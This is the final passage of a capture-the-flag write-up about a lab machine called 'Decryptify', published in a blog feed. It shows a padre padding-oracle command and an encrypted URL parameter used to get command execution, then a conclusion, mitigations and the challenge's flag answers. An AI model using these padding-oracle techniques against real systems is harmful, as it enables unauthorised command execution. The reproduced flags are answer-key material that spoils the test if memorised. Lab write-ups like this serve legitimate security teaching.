<img alt="21" loading="lazy" src="/images/tactics/decryptify/23.png"></p>
<p>Output:</p>
<ul>
<li><code>8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code></li>
</ul>
<p>Once having the encrypted command to get the flag we are going to use the following command <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' '8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw=='</code></p>
<p>Having this value now its time to insert as the date value on the dashboard URL, <code>http://10.114.184.31:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code>
<img alt="22" loading="lazy" src="/images/tactics/decryptify/24.png"></p>
<p>Output:</p>
<ul>
<li><code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ul>
<blockquote>
<p><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By exploiting a weak pseudo-random number generator (<code>mt_rand()</code>) in the invitation code generation system, we successfully predicted valid invitation codes for any user email. This granted us access to the dashboard where we discovered a padding oracle vulnerability in the DES/CBC encryption implementation. Using the <code>padre</code> tool, we leveraged the padding oracle to achieve remote code execution and retrieve the final flag.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Cryptographically Secure Random Number Generation</strong>: replace <code>mt_rand()</code> with <code>random_int()</code> or <code>openssl_random_pseudo_bytes()</code> for security-critical operations.</li>
<li><strong>Remove Error Leakage</strong>: implement generic error messages that don&rsquo;t reveal internal cryptographic details.</li>
<li><strong>Input Validation</strong>: validate and sanitize all user inputs, especially encrypted parameters passed to decryption functions.</li>
<li><strong>Use Authenticated Encryption</strong>: implement AEAD modes instead of CBC mode to prevent padding oracle attacks entirely.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></li>
<li><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ol>
]]></content:encoded></item></channel></rss>